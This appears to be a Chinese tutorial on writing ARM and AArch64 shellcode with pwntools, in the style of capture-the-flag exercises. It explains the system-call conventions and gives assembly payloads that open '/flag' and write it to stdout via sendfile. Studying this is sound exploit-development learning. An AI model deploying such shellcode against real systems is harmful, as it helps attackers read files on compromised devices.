与之前的架构类似,shellcode中函数都是通过系统调用实现的。
在ARM中,系统调用有一些不同:
1.将参数放入寄存器R0,R1
mov r0,arg1
mov r1,arg2
2.将系统调用号放入R7
mov r7, #<系统调用号>
3.调动系统函数:
SVC #0 或者
SVC #1
4.将返回值放入R0
为了熟练编写arm架构的shellcode需要熟悉arm架构指令集及系统调用号。
定义了三个不同架构的compile函数,可将汇编代码编译为机器码
def compile_arm(sc):
r = asm(sc,arch='arm')
print(r)
return r
def compile_thumb(sc):
r = asm(sc,arch='thumb')
print(r)
return r
def compile_arm64(sc):
r = asm(sc,arch='aarch64')
print(r)
return r
32位arm汇编代码如下:
'''
adr r0, flag
eor r1, r1
eor r2, r2
mov r7, #5
svc 0
mov r1, r0
mov r0, #1
eor r2, r2
mov r3, #100
mov r7, #0xbb
svc 0
flag:
.ascii "/flag"
'''
64位arm汇编代码如下:
'''
adr x1, flag
mov x2, #0
mov x0, x2
mov x8, #56
svc 0
/* call sendfile(1, 'x0', 0, 0x7fffffff) */
mov x1, x0
mov x0, #1
mov x2, #0
mov x3, 100
mov x8, #SYS_sendfile
svc 0
flag:
.asciz "/flag"
'''
可以参考跨架构shellcode开发指南(二)中mips架构的调试技巧。
pwntools对arm的支持比较好,没有异常情况。
参考文章地址:Writing ARM Shellcode | Azeria Labs
ARM(手机、嵌入式)架构上ShellCode编写入门教程_arm汇编orwshellcode-CSDN博客